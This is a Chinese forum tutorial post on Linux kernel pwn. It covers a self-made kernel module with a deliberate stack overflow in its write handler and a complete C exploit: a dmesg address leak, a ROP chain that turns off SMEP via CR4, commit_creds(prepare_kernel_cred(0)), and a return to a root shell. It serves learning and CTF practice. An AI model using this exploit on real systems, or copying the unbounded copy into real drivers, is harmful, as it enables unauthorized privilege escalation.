首页
社区
课程
招聘
[原创]Kernel从0开始(二)
发表于: 2021-11-2 12:04 32429

[原创]Kernel从0开始(二)

2021-11-2 12:04
32429

先尝试下最简单的栈溢出,保护和未被保护的情况

给出自己设计的栈溢出题目:

这个比较慢,实在不推荐

这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下

image-20210930111201257

可以看到pop rax下并没有ret,但是依然查找出来了,其中pop raxpop rbx不是连在一起的,用的时候注意辨别。

依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:

详见之前的项目中的getKernelROP命令,常用gadget,还是比较好用的

PIG-007/kernelAll (github.com)

PIG-007/kernelAll (gitee.com)

这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。

通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权,之后再启一个shell即可获得提权之后的shell。

由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址

dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。

image-20210930112655023

进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。

这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。

这个都是放在ROP链中,放在shell之后。

直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权,之后返回用户空间起shell。

之后就是返回用户空间起shell了

▲先是调用prepare_kernel_cred_k(0),然后通过将pop rbp;ret赋值给rdx,之后mov rdi,rax,然后call rdx,即调用pop rbp;ret,之后ret即可回到commit_creds_k

这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句,需要赋值rdi才能进行commit_creds函数的执行,即将prepare_kernel_cred_k(0)返回值给commit_creds函数。

Snipaste_2021-09-30_19-56-10

赋值

Snipaste_2021-09-30_19-57-47

之后又因为存在call这个语句,所以多了pop rbp;ret来将栈平衡掉,,从而能够直接ret到commit_creds

Snipaste_2021-09-30_20-03-46

同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。

(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客

这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。

▲这里如果加了SMEP保护,那么就会出现下列的错误

image-20211004100138854

 
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
static char *buffer_var;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;
 
 
static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
        loff_t *f_pos);
 
static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
// static int stack_open(struct inode *i, struct file *f)
// {
//   printk(KERN_INFO "[i] Module vuln: open()\n");
//   return 0;
// }
 
// static int stack_close(struct inode *i, struct file *f)
// {
//   printk(KERN_INFO "[i] Module vuln: close()\n");
//   return 0;
// }
 
static struct file_operations stack_fops =
        {
                .owner = THIS_MODULE,
                // .open = stack_open,
                // .release = stack_close,
                .write = stack_write,
                .read = stack_read
        };
 
// 设备驱动模块加载函数
static int __init stack_init(void)
{
    buffer_var=kmalloc(100,GFP_DMA);
    printk(KERN_INFO "[i] Module stack registered");
    if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
    {
        printk(KERN_INFO "[i] Module stack error");
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &stack_fops);
    if (cdev_add(&cdev, stack_dev_no, 1) == -1)
    {
        device_destroy(devClass, stack_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
    return 0;
 
}
 
// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(stack_dev_no, 1);
    cdev_del(&cdev);
}
 
 
// 读设备
ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
        loff_t *f_pos)
{
    printk(KERN_INFO "Stack_read function" );
    if(strlen(buffer_var)>0) {
        printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
        kfree(buffer_var);
        buffer_var=kmalloc(100,GFP_DMA);
        return 0;
    } else {
        return 1;
    }
}
 
// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
    printk(KERN_INFO "Stack_write function" );
    char buffer[100]={0};
    if (_copy_from_user(buffer, buf, len))
        return -EFAULT;
    buffer[len-1]='\0';
    printk("[i] Module stack write: %s\n", buffer);
    strncpy(buffer_var,buffer,len);
    return len;
}
 
 
 
// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    switch (cmd) {
        case 1:
            break;
        case 2:
            break;
        default:
            // 不支持的命令
            return -ENOTTY;
    }
    return 0;
}
 
 
module_init(stack_init);
module_exit(stack_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>
 
//设备驱动常用变量
static char *buffer_var;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;
 
 
static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
        loff_t *f_pos);
 
static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);
 
static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
 
// static int stack_open(struct inode *i, struct file *f)
// {
//   printk(KERN_INFO "[i] Module vuln: open()\n");
//   return 0;
// }
 
// static int stack_close(struct inode *i, struct file *f)
// {
//   printk(KERN_INFO "[i] Module vuln: close()\n");
//   return 0;
// }
 
static struct file_operations stack_fops =
        {
                .owner = THIS_MODULE,
                // .open = stack_open,
                // .release = stack_close,
                .write = stack_write,
                .read = stack_read
        };
 
// 设备驱动模块加载函数
static int __init stack_init(void)
{
    buffer_var=kmalloc(100,GFP_DMA);
    printk(KERN_INFO "[i] Module stack registered");
    if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
    {
        printk(KERN_INFO "[i] Module stack error");
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &stack_fops);
    if (cdev_add(&cdev, stack_dev_no, 1) == -1)
    {
        device_destroy(devClass, stack_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(stack_dev_no, 1);
        return -1;
    }
 
    printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
    return 0;
 
}
 
// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
    // 释放占用的设备号
    unregister_chrdev_region(stack_dev_no, 1);
    cdev_del(&cdev);
}
 
 
// 读设备
ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
        loff_t *f_pos)
{
    printk(KERN_INFO "Stack_read function" );
    if(strlen(buffer_var)>0) {
        printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
        kfree(buffer_var);
        buffer_var=kmalloc(100,GFP_DMA);
        return 0;
    } else {
        return 1;
    }
}
 
// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
    printk(KERN_INFO "Stack_write function" );
    char buffer[100]={0};
    if (_copy_from_user(buffer, buf, len))
        return -EFAULT;
    buffer[len-1]='\0';
    printk("[i] Module stack write: %s\n", buffer);
    strncpy(buffer_var,buffer,len);
    return len;
}
 
 
 
// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    switch (cmd) {
        case 1:
            break;
        case 2:
            break;
        default:
            // 不支持的命令
            return -ENOTTY;
    }
    return 0;
}
 
 
module_init(stack_init);
module_exit(stack_exit);
 
MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");
ropper --file vmlinux --search "pop|ret"
ropper --file vmlinux --search "pop|ret"
objdump -d vmlinux -M intel | grep -E 'ret|pop'
objdump -d vmlinux -M intel | grep -E 'ret|pop'
 
 
ROPgadget --binary vmlinux | grep "pop rdx ; ret"
ROPgadget --binary vmlinux | grep "pop rdx ; ret"
 
 
unsigned long findAddr() {
    char line[512];
    char string[] = "Freeing SMP alternatives memory";
    char found[17];
    unsigned long addr=0;
 
    /* execute dmesg and place result in a file */
    printf("[+] Excecute dmesg...\n");
    system("dmesg > /tmp/dmesg");
    /* find: Freeing SMP alternatives memory*/
    printf("[+] Find usefull addr...\n");
 
    FILE* file = fopen("/tmp/dmesg", "r");
 
    while (fgets(line, sizeof(line), file)) {
        if(strstr(line,string)) {
            strncpy(found,line+53,16);
            sscanf(found,"%p",(void **)&addr);
            break;
        }
    }
    fclose(file);
 
    if(addr==0) {
        printf("    dmesg error...\n");
        exit(1);
    }
    return addr;
}
 
//main函数中
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
unsigned long findAddr() {
    char line[512];
    char string[] = "Freeing SMP alternatives memory";
    char found[17];
    unsigned long addr=0;
 
    /* execute dmesg and place result in a file */
    printf("[+] Excecute dmesg...\n");
    system("dmesg > /tmp/dmesg");
    /* find: Freeing SMP alternatives memory*/
    printf("[+] Find usefull addr...\n");
 
    FILE* file = fopen("/tmp/dmesg", "r");
 
    while (fgets(line, sizeof(line), file)) {
        if(strstr(line,string)) {
            strncpy(found,line+53,16);
            sscanf(found,"%p",(void **)&addr);
            break;
        }
    }
    fclose(file);
 
    if(addr==0) {
        printf("    dmesg error...\n");
        exit(1);
    }
    return addr;
}
 
//main函数中
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;
 
unsigned char payload[300] = {0};
unsigned char *p           = payload;
 
/* pop rax;rbx;r12;rbp;ret;*/
unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
memcpy(p,&poprax,8);
printf("    pop rax      at 0x%lx\n", poprax);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF rax*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
p+=8;
 
/* mov cr4, rax;rbp;ret     */
unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
memcpy(p,&movcr4,8);
printf("    mov CR4, RAX at 0x%lx\n", movcr4);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
p+=8;
unsigned char payload[300] = {0};
unsigned char *p           = payload;
 
/* pop rax;rbx;r12;rbp;ret;*/
unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
memcpy(p,&poprax,8);
printf("    pop rax      at 0x%lx\n", poprax);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF rax*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
p+=8;
 
/* mov cr4, rax;rbp;ret     */
unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
memcpy(p,&movcr4,8);
printf("    mov CR4, RAX at 0x%lx\n", movcr4);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
p+=8;
/* function to get root id */
void getroot (void)
{
  commit_creds(prepare_kernel_cred(0));
}
 
/* getroot                        */
memcpy(p,&getR,8);
p+=8;
/* function to get root id */
void getroot (void)
{
  commit_creds(prepare_kernel_cred(0));
}
 
/* getroot                        */
memcpy(p,&getR,8);
p+=8;
void shell(void) {
    printf("[+] getuid() ...");
    if(!getuid()) {
        printf(" [root]\n[+] Enjoy your shell...\n");
        system("/bin/sh");
    } else {
        printf("[+] not root\n[+] failed !!!\n");
    }
}
void shell(void) {
    printf("[+] getuid() ...");
    if(!getuid()) {
        printf(" [root]\n[+] Enjoy your shell...\n");
        system("/bin/sh");
    } else {
        printf("[+] not root\n[+] failed !!!\n");
    }
}
/* swapgs;ret           */
printf("    swapgs       at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
 
/* iretq                          */
printf("    iretq        at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
 
/* shell                          */
memcpy(p,&sh,8);
p+=8;
/* swapgs;ret           */
printf("    swapgs       at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;
 
/* iretq                          */
printf("    iretq        at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;
 
/* shell                          */
memcpy(p,&sh,8);
p+=8;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
 
static void save_state() {
  asm(
  "movq %%cs, %0\n"
  "movq %%ss, %1\n"
  "pushfq\n"
  "popq %2\n"
  : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
}
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
 
static void save_state() {
  asm(
  "movq %%cs, %0\n"
  "movq %%ss, %1\n"
  "pushfq\n"
  "popq %2\n"
  : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
}
/* user_cs                        */
memcpy(p,&user_cs,8);
p+=8;
 
/* user_rflags                    */
memcpy(p,&user_rflags,8);
p+=8;
 
/*stack of userspace                 */        
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
 
/* user_ss                        */
memcpy(p,&user_ss,8);
/* user_cs                        */
memcpy(p,&user_cs,8);
p+=8;
 
/* user_rflags                    */
memcpy(p,&user_rflags,8);
p+=8;
 
/*stack of userspace                 */        
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
 
/* user_ss                        */
memcpy(p,&user_ss,8);
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
 
 
unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);
 
 
int main(int argc, char *argv[])
{
    int fd;
    unsigned char payload[300] = {0};
    unsigned char *p           = payload;
    unsigned long memOffset;
 
 
 
    memOffset = findAddr();
    unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
    unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
    unsigned long getR = (unsigned long)getroot;
    unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    unsigned long sh = (unsigned long)shell;
 
    printf("    addr[0x%llx]\n", memOffset);
 
    /* set value for commit_creds and prepare_kernel_cred */
    commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
    prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
 
 
    /* open fd on /dev/vuln                             */
    printf("[+] Open vuln device...\n");
    if ((fd = open("/dev/stack", O_RDWR)) < 0) {
        printf("    Can't open device file: /dev/stack\n");
        exit(1);
    }
 
 
    /* payload                          */
    printf("[+] Construct the payload...\n");
    save_state();
    /* offset before RIP                    */
    memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
    p+=116;
 
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
    p+=8;
 
    /* pop rax;rbx;r12;rbp;ret                    */
    memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
    printf("    pop rax      at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
    p+=8;
    memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF */
    p+=8;
    memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
    p+=8;
    memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
    p+=8;
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    p+=8;
 
    /* mov cr4, rax;rbp;ret     */
    memcpy(p,&movCr4Rax_pop_rbp,8);
    printf("    mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
    p+=8;
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    p+=8;
 
    /* getroot                        */
    memcpy(p,&getR,8);
    p+=8;
 
    /* swapgs;ret           */
    printf("    swapgs       at 0x%lx\n", swapgs);
    memcpy(p,&swapgs,8);
    p+=8;
 
    /* iretq                          */
    printf("    iretq        at 0x%lx\n", iretq);
    memcpy(p,&iretq,8);
    p+=8;
 
 
    /*
    the stack should look like this after an iretq call
      RIP
      CS
      EFLAGS
      RSP
      SS
    */
 
 
    /* shell                          */
    memcpy(p,&sh,8);
    p+=8;
 
    /* user_cs                        */
    memcpy(p,&user_cs,8);
    p+=8;
    /* user_rflags                    */
    memcpy(p,&user_rflags,8);
    p+=8;
    /*stack of userspace                 */        
    register unsigned long rsp asm("rsp");
    unsigned long sp = (unsigned long)rsp;
    memcpy(p,&sp,8);
    p+=8;
    /* user_ss                        */
    memcpy(p,&user_ss,8);
 
    /* trig the vuln                  */
    printf("[+] Trig the vulnerablity...\n");
    write(fd, payload, 300);
 
 
    return 0;
 
}
 
 
 
 
 
unsigned long findAddr() {
    char line[512];
    char string[] = "Freeing SMP alternatives memory";
    char found[17];
    unsigned long addr=0;
 
    /* execute dmesg and place result in a file */
    printf("[+] Excecute dmesg...\n");
    system("dmesg > /tmp/dmesg");
 
    /* find: Freeing SMP alternatives memory    */
    printf("[+] Find usefull addr...\n");
 
    FILE* file = fopen("/tmp/dmesg", "r");
 
 
    while (fgets(line, sizeof(line), file)) {
        if(strstr(line,string)) {
            strncpy(found,line+53,16);
            sscanf(found,"%p",(void **)&addr);
            break;
        }
    }
    fclose(file);
 
    if(addr==0) {
        printf("    dmesg error...\n");
        exit(1);
    }
 
    return addr;
}
 
static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
}
 
 
void shell(void) {
    printf("[+] getuid() ...");
    if(!getuid()) {
        printf(" [root]\n[+] Enjoy your shell...\n");
        system("/bin/sh");
    } else {
        printf("[+] not root\n[+] failed !!!\n");
    }
}
 
/* function to get root id */
void getroot (void)
{
    commit_creds(prepare_kernel_cred(0));
}
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
 
 
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;
 
 
unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);
 
 
int main(int argc, char *argv[])
{
    int fd;
    unsigned char payload[300] = {0};
    unsigned char *p           = payload;
    unsigned long memOffset;
 
 
 
    memOffset = findAddr();
    unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
    unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
    unsigned long getR = (unsigned long)getroot;
    unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
    unsigned long iretq = (unsigned long)memOffset-0x7AC289;
    unsigned long sh = (unsigned long)shell;
 
    printf("    addr[0x%llx]\n", memOffset);
 
    /* set value for commit_creds and prepare_kernel_cred */
    commit_creds        = (commit_creds_t)(memOffset - 0xfbf6a0);
    prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);
 
 
    /* open fd on /dev/vuln                             */
    printf("[+] Open vuln device...\n");
    if ((fd = open("/dev/stack", O_RDWR)) < 0) {
        printf("    Can't open device file: /dev/stack\n");
        exit(1);
    }
 
 
    /* payload                          */
    printf("[+] Construct the payload...\n");
    save_state();
    /* offset before RIP                    */
    memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
    p+=116;
 
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* for rbp */
    p+=8;
 
    /* pop rax;rbx;r12;rbp;ret                    */
    memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
    printf("    pop rax      at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
    p+=8;
    memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8);   /* SMEP OFF */
    p+=8;
    memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* rbx*/
    p+=8;
    memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8);   /* r12 */
    p+=8;
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    p+=8;
 
    /* mov cr4, rax;rbp;ret     */
    memcpy(p,&movCr4Rax_pop_rbp,8);
    printf("    mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
    p+=8;
    memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8);   /* rbp */
    p+=8;
 
    /* getroot                        */
    memcpy(p,&getR,8);
    p+=8;
 
    /* swapgs;ret           */
    printf("    swapgs       at 0x%lx\n", swapgs);
    memcpy(p,&swapgs,8);
    p+=8;
 
    /* iretq                          */
    printf("    iretq        at 0x%lx\n", iretq);
    memcpy(p,&iretq,8);
    p+=8;
 
 
    /*
    the stack should look like this after an iretq call
      RIP
      CS
      EFLAGS
      RSP
      SS
    */
 
 
    /* shell                          */
    memcpy(p,&sh,8);
    p+=8;
 
    /* user_cs                        */
    memcpy(p,&user_cs,8);
    p+=8;
    /* user_rflags                    */
    memcpy(p,&user_rflags,8);
    p+=8;
    /*stack of userspace                 */        
    register unsigned long rsp asm("rsp");
    unsigned long sp = (unsigned long)rsp;
    memcpy(p,&sp,8);
    p+=8;
    /* user_ss                        */
    memcpy(p,&user_ss,8);
 
    /* trig the vuln                  */
    printf("[+] Trig the vulnerablity...\n");
    write(fd, payload, 300);
 
 
    return 0;
 
}
 
 
 
 
 
unsigned long findAddr() {
    char line[512];
    char string[] = "Freeing SMP alternatives memory";
    char found[17];
    unsigned long addr=0;
 
    /* execute dmesg and place result in a file */
    printf("[+] Excecute dmesg...\n");
    system("dmesg > /tmp/dmesg");
 
    /* find: Freeing SMP alternatives memory    */
    printf("[+] Find usefull addr...\n");
 
    FILE* file = fopen("/tmp/dmesg", "r");
 
 
    while (fgets(line, sizeof(line), file)) {
        if(strstr(line,string)) {
            strncpy(found,line+53,16);
            sscanf(found,"%p",(void **)&addr);
            break;
        }
    }
    fclose(file);
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 8
支持
分享
最新回复 (1)
雪    币: 425
活跃值: (525)
能力值: ( LV4,RANK:48 )
在线值:
发帖
回帖
粉丝
yyp
2
为什么我在kali里运行的内核,起shell时出现Segmentation fault。但是ubuntu22.04里起shell却是正常的?
2023-9-13 18:51
0
游客
登录 | 注册 方可回帖
返回
//